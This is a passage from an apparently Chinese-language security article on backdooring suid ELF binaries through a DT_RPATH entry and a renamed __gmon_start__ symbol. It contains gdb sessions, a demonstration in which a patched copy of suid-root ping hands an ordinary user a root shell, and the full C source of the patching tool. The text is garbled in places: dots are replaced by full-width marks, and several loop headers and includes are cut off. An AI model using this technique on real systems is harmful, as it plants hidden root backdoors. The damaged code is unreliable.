0x804843d 0x804843f 0x8048442 0x8048447 0x8048449 0x804844b 0x804844c 0x804844d End of assembler dump。
(gdb) b *0x8048430
Breakpoint 1 at 0x8048430
(gdb) r
Starting program: /home/wujian/share/elf_door/test
Breakpoint 1, 0x08048430 in __gmon_start__ ()
(gdb) disas
Dump of assembler code for function __gmon_start__:
0x8048430 <__gmon_start__>: push %ebp
0x8048431 <__gmon_start__+1>: mov %esp,%ebp
0x8048433 <__gmon_start__+3>: mov $0x0,%eax
0x8048438 <__gmon_start__+8>: pop %ebp
0x8048439 <__gmon_start__+9>: ret
0x804843a <__gmon_start__+10>: mov %esi,%esi
End of assembler dump。
(gdb) x/x 0x80494f8 ---〉got偏移地址offset处的入口值修改为该符号的地址
0x80494f8 <_GLOBAL_OFFSET_TABLE_+28>: 0x08048430
综上所述,推断出结论了吧;(
这个修改很简单通过遍历section,我们先寻找节类型sh_type==SHT_DYNSYM的动态符号节。dynsym节,同时这个节关联这。dynstr节(看图三)sh_link=[5]。dynstr,我们把dynstr节缓存,然后寻找符号的st_name(偏移索引)是否等同于__gmon_start__,然后修改,以上修改结束,并且我们得到了index索引的偏移;然后添加DT_RPATH这个entry,上面说过的我们寻找第一个NULL入口,我们通过遍历。dynamic数组找到第一个NULL入口结构然后修改d_tag为DT_RPATH,然后把上面的到的index添入d_un。val中,至此修改elf文件完毕。至此我们任务a完毕。
现在我们来看问题b:
为啥"能够"截获__libc_start_main()?
这就要涉及到符号解析和plt的概念
我们还用上面的test。c演示;
[wujian@redhat72 elf_door]$ gdb -q test
(gdb) disas _start
Dump of assembler code for function _start:
0x8048330 <_start>: xor %ebp,%ebp
0x8048332 <_start+2>: pop %esi
0x8048333 <_start+3>: mov %esp,%ecx
0x8048335 <_start+5>: and $0xfffffff0,%esp
0x8048338 <_start+8>: push %eax
0x8048339 <_start+9>: push %esp
0x804833a <_start+10>: push %edx
0x804833b <_start+11>: push $0x8048490
0x8048340 <_start+16>: push $0x80482bc
0x8048345 <_start+21>: push %ecx
0x8048346 <_start+22>: push %esi
0x8048347 <_start+23>: push $0x804843c
0x804834c <_start+28>: call 0x8048304 <__libc_start_main> ---〉(实际也是需要重定位的,最关键的)
0x8048351 <_start+33>: hlt
0x8048352 <_start+34>: mov %esi,%esi
End of assembler dump。
(gdb) b *0x8048304
Breakpoint 1 at 0x8048304
(gdb) r
Starting program: /home/wujian/share/elf_door/test
Breakpoint 1 at 0x8048304: file 。。/sysdeps/generic/libc-start。c, line 53。
Breakpoint 1, 0x08048304 in __libc_start_main () at 。。/sysdeps/generic/libc-start。c:53
53 。。/sysdeps/generic/libc-start。c: No such file or directory。
in 。。/sysdeps/generic/libc-start。c
(gdb) disas
Dump of assembler code for function __libc_start_main:
0x8048304 <__libc_start_main>: jmp *0x80494f0 0x8048304 plt中的entry 0x80494f0是got的地址
0x804830a <__libc_start_main+6>: push $0x10
0x804830f <__libc_start_main+11>: jmp 0x80482d4 <_init+24>
End of assembler dump。
(gdb)
下面关于符号解析的问题请参考alert7大侠的<< ELF动态解析符号过程(修订版)>>。需要注意的是我们之所以能截获__libc_start_main是因为ping这个程序加载了两个。SO, 解析符号时link_map的结构中两个双向链表连接被加载的。SO,因为实际上因为顺着链表查询符号因为先找到libresolv。so。2,然后才是libc。so。6。看图3注意处,DT_NEEDED,基本说明白了。
具体的过程不贴了,自己动手fixup一下。
我们看一下真实的ping DT_RPATH后门
[wujian@redhat72 elf_door]$ id
uid=500(wujian) gid=500(wujian) groups=500(wujian)
[wujian@redhat72 elf_door]$ su root
Password:
[root@redhat72 elf_door]# cp /bin/ping /bin/pinG
[root@redhat72 elf_door]# cp addelfrpath disp/
[root@redhat72 elf_door]# cp libresolv。so。2 disp/
[root@redhat72 elf_door]# cd disp
[root@redhat72 disp]# ls
addelfrpath libresolv。so。2
[root@redhat72 disp]# /bin/pinG
Usage: ping [-LRUbdfnqrvV] [-c count] [-i interval] [-w wait]
[-p pattern] [-s packetsize] [-t ttl] [-I interface address]
[ -T timestamp option ] [ -Q tos ] host
[root@redhat72 disp]# readelf -d /bin/pinG
Dynamic segment at offset 0x5618 contains 21 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libresolv。so。2]
0x00000001 (NEEDED) Shared library: [libc。so。6]
0x0000000c (INIT) 0x8048a7c
0x0000000d (FINI) 0x804bfb0
0x00000004 (HASH) 0x8048128
0x00000005 (STRTAB) 0x8048610
0x00000006 (SYMTAB) 0x80482a0
0x0000000a (STRSZ) 541 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x804e554
0x00000002 (PLTRELSZ) 360 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048914
0x00000011 (REL) 0x80488e4
0x00000012 (RELSZ) 48 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x80488b4
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x8048844
0x00000000 (NULL) 0x0
[root@redhat72 disp]# 。/addelfrpath /bin/pinG
+hErE is to Start
+filetype is ok
+modify __gmon_start__ to _wujianqiang:
+20 real entrys add DT_RPATH entry
game over
[root@redhat72 disp]# readelf -d /bin/pinG
Dynamic segment at offset 0x5618 contains 22 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libresolv。so。2]
0x00000001 (NEEDED) Shared library: [libc。so。6]
0x0000000c (INIT) 0x8048a7c
0x0000000d (FINI) 0x804bfb0
0x00000004 (HASH) 0x8048128
0x00000005 (STRTAB) 0x8048610
0x00000006 (SYMTAB) 0x80482a0
0x0000000a (STRSZ) 541 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x804e554
0x00000002 (PLTRELSZ) 360 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048914
0x00000011 (REL) 0x80488e4
0x00000012 (RELSZ) 48 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x80488b4
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x8048844
0x0000000f (RPATH) Library rpath: [_wujianqiang:]
0x00000000 (NULL) 0x0
[root@redhat72 disp]# exit
exit
[wujian@redhat72 elf_door]$ cd disp
[wujian@redhat72 disp]$ ls -l
total 28
-rwxr-xr-x 1 root root 17822 Apr 27 00:36 addelfrpath
-rwxr-xr-x 1 root root 5610 Apr 27 00:36 libresolv。so。2
[wujian@redhat72 disp]$ ls -l /bin/pinG
-rwsr-xr-x 1 root root 23436 Apr 27 00:38 /bin/pinG
[wujian@redhat72 disp]$ /bin/pinG
[root@redhat72 disp]# id
uid=0(root) gid=500(wujian) groups=500(wujian)
[root@redhat72 disp]#
三。结论
通过一些实验,基本上所有的suid的程序只要加载了依赖的。SO就可以添加这个后门。这是一项简单而巧妙的技术,而且不宜被发现,所以一个完整性校检是安全的重要保证,但我对一个系统被入侵后还能不能用已经不报希望了:)
四。程序实现
/*
* elfaddRPATH。c
* by wujian (wujianqiangis@mail。china。com) only tested on rh72。
* only for test :) thanks alert7@xfocus scz@nsfocus wandb@nsfocus silvio@big。net。au
* about ELF articles。
*
*/
#include //not supply the header files :) and some simple codez not supply
#define ERR(fn) { perror(fn);exit(1);}
char * symgname= "__gmon_start__";//default modify symbol name
char * m_symgname="__gmon_start:";
char * myname="_wujianqiang:" //modify to 。。。
void elf_check(Elf32_Ehdr *ehdr);
static int add_ent(int fd ,unsigned int * index , Elf32_Ehdr * ehdr, Elf32_Shdr * shdr);
static int mod_sym(int fd , Elf32_Ehdr * ehdr,Elf32_Shdr * shdr,char * symname);
/*---------------------------------add entry in 。dynamic section-------------------------*/
static int add_ent(int fd ,unsigned int * index , Elf32_Ehdr * ehdr, Elf32_Shdr * shdr)
{
Elf32_Shdr * shdyn=shdr;
Elf32_Dyn * dyn,*dynp;
int i,offset=0;
int ent=0;
int find=0;
int dt_rpath=15; //from elf spec DT_RPATH=15
for(i=0;i {
if(shdyn->sh_type==SHT_DYNAMIC)
{
find=1;
break ;
}
shdyn++;
}
if(find==0)
{
printf("。dynamic section not find\n");
exit(0);
}
dyn=(Elf32_Dyn *)malloc(shdyn->sh_size);
if(dyn==NULL)
ERR("malloc");
if(lseek(fd,shdyn->sh_offset,SEEK_SET)!=shdyn->sh_offset)
ERR("lseek");
if(read(fd,dyn,shdyn->sh_size)!=shdyn->sh_size)
ERR("read");
dynp=dyn;
for(i=0;i {
ent++;
/*here is only find first NULL entry , not think too much,also don't find DT_RPAHT is exist!
add your code here:) */
if(dynp->d_tag==0 && (dynp->d_un。d_val==0 || dynp->d_un。d_ptr==0))
{
printf("+%d real entrys add DT_RPATH entry\n",ent-1);
offset=(dynp-dyn)*shdyn->sh_entsize;
goto modify;
}
dynp++;
}
out:
printf("no space\n");
free(dyn);
return -1;
modify:
if(lseek(fd,shdyn->sh_offset+offset,SEEK_SET)!=shdyn->sh_offset+offset)
ERR("lseek");
if(write(fd,&dt_rpath,sizeof(dynp->d_tag))!=sizeof(dynp->d_tag))
ERR("write");
if(write(fd,index,sizeof(dynp->d_un。d_val))!=sizeof(dynp->d_un。d_val))
ERR("write");
printf("+game over\n");
free(dyn);
return 0;
}
/*---------------------------------modifiy symbol name-------------------------------------------*/
static int mod_sym(int fd , Elf32_Ehdr * ehdr,Elf32_Shdr * shdr,char * symname)
{
Elf32_Shdr * shdrp=shdr;//for loop
Elf32_Shdr * strsym;
char * string;
Elf32_Sym *sym,*symp;
int i;
int find=0;
for(i=0;i {
if(shdrp->sh_type==SHT_DYNSYM)
{ find=1;
break;
}
shdrp++;
}
if(!find)
{
printf("not find SHT_DYNSYM\n");
exit(1);
}
strsym=&shdr[shdrp->sh_link];
string=(char *)malloc(strsym->sh_size);
if(strsym==NULL)
ERR("malloc");
if(lseek(fd,strsym->sh_offset,SEEK_SET)!=strsym->sh_offset)
ERR("lseek");
if(read(fd,string,strsym->sh_size)!=strsym->sh_size)
ERR("read");
sym=(Elf32_Sym *)malloc(shdrp->sh_size);
if(sym==NULL)
ERR("malloc");
if(lseek(fd,shdrp->sh_offset,SEEK_SET)!=shdrp->sh_offset)
ERR("malloc");
if(read(fd,sym,shdrp->sh_size)!=shdrp->sh_size)
ERR("read");
symp=sym;
for(i=0;i {
if(!strcmp(&string[symp->st_name],symname))
{
if(lseek(fd,strsym->sh_offset+symp->st_name,SEEK_SET)!=strsym->sh_offset+symp->st_name)
ERR("lseek");
printf("+modify %s to %s \n",symgname,myname);
if(write(fd,myname,strlen(symgname))!=strlen(symgname))
ERR("write");
free(string);
return symp->st_name;
}
symp++;
}
printf("not find match symbol\n");
return -1;
}
/*---------------------------------file check--------------------------------------------*/
void elf_check(Elf32_Ehdr *ehdr)
{
//add your code here ,not supply
}
/*---------------------------------------main----------------------------------------------------*/
int main(int argc , char * argv[])
{
Elf32_Ehdr ehdr;
Elf32_Phdr *phdr;
Elf32_Shdr *shdr;
char *sdata;
int ofshoff,slen;
int fd;
unsigned int index;
if(argc!=2)
{ printf("usage:%s "elfADDRPATH by wujianqiang@mail。china。com\n",
argv[0]
);
exit(1);
}
printf("+hErE is to Start \n");
if((fd=open(argv[1],O_RDWR))<0)
ERR("open");
if(read(fd,&ehdr,sizeof(ehdr))!=sizeof(ehdr))
ERR("read");
elf_check(&ehdr);
printf("+filetype is ok\n");
sdata = (char *)malloc(slen=sizeof(*shdr)*ehdr。e_shnum);
if (sdata == NULL)
ERR("malloc");
if (lseek(fd, ofshoff = ehdr。e_shoff, SEEK_SET) < 0)
ERR("lseek");
if (read(fd, sdata, slen) != slen)
ERR("read");
if((index=mod_sym(fd,&ehdr,(Elf32_Shdr *)sdata,symgname))<0)
exit(1);
if(add_ent(fd,&index,&ehdr,(Elf32_Shdr *)sdata)<0)
{
printf("+some err?\n");exit(1);
}
close(fd);
free(sdata);
exit(0);
}
EOF
五。参考 (因为我宿舍不能上网,所以我只能贴一部分连接地址:)
1。ELF动态解析符号过程(修订版) by alert7
http://www。xfocus。net/articles/200201/337。html
2。ELF后门之DT_RPATH篇 by alert7
安全焦点unix版
3。 ELF文件格式(中文) by alert7
http://www。xfocus。net/articles/200105/174。html
4。共享库注射--injectso实例 by grip2
http://www。xfocus。net/articles/200208/438。html
5。p56-7
< 6。如何修改动态库符号表 by wandb